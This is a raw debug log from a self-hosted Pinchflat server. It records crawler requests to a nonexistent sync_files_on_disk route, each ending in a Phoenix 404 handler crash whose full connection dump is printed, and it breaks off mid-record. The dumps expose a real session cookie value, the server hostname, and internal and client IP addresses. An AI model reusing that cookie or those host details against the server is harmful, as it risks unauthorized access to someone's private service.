s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:35.371 [debug] QUERY OK source="settings" db=0.0ms idle=509.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:35.372 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:42:35.372 [error] #PID<0.30925.0> running PinchflatWeb.Endpoint (connection #PID<0.30924.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/45/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/45/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30924.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/45/sync_files_on_disk", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 41868}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30925.0>, params: %{}, path_info: ["sources", "45", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/45/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz9wJWPpgSukogABPRi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30924.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/45/sync_files_on_disk", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 41868}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/45/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30924.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/45/sync_files_on_disk", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 41868}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30925.0>, params: %{}, path_info: ["sources", "45", "sync_files_on_disk"], path_params: %{}, port: 80, private: (truncated) 17:42:35.879 [info] GET /sources/6/sync_files_on_disk 17:42:35.880 [debug] QUERY OK source="settings" db=0.1ms idle=1017.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:35.880 [debug] QUERY OK source="settings" db=0.0ms idle=1017.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:35.880 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:42:35.880 [error] #PID<0.30927.0> running PinchflatWeb.Endpoint (connection #PID<0.30926.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/6/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30926.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/sync_files_on_disk", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60034}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30927.0>, params: %{}, path_info: ["sources", "6", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/6/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz9wLPasLq4KvsABPSC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30926.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/sync_files_on_disk", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60034}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30926.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/sync_files_on_disk", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60034}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30927.0>, params: %{}, path_info: ["sources", "6", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ (truncated) 17:42:36.380 [info] GET /sources/28/sync_files_on_disk 17:42:36.380 [debug] QUERY OK source="settings" db=0.1ms idle=1008.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:36.380 [debug] QUERY OK source="settings" db=0.0ms idle=1008.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:36.380 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:42:36.381 [error] #PID<0.30929.0> running PinchflatWeb.Endpoint (connection #PID<0.30928.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/28/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/28/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30928.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/28/sync_files_on_disk", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60048}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30929.0>, params: %{}, path_info: ["sources", "28", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/28/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz9wNG0hBWp9rYABPSi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30928.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/28/sync_files_on_disk", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60048}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/28/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30928.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/28/sync_files_on_disk", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60048}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdjFKTnlPZm91Z3pmOEc0M2UyRVpjNkcw.D65HfJEQtua_35derYECB0RmoGaIiSn_6jNJmKV60qg" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30929.0>, params: %{}, path_info: ["sources", "28", "sync_files_on_disk"], path_params: %{}, port: 80, private: (truncated) 17:42:42.897 [info] GET /sources/1/sync_files_on_disk 17:42:42.897 [debug] QUERY OK source="settings" db=0.1ms idle=1550.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:42.898 [debug] QUERY OK source="settings" db=0.0ms idle=1316.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:42.898 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:42:42.898 [error] #PID<0.30931.0> running PinchflatWeb.Endpoint (connection #PID<0.30930.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/1/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30930.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60062}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30931.0>, params: %{}, path_info: ["sources", "1", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/1/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz9wlYoZsMWCSkAB1uh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30930.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "pinchflat.burns-family.net", peer: {{172, 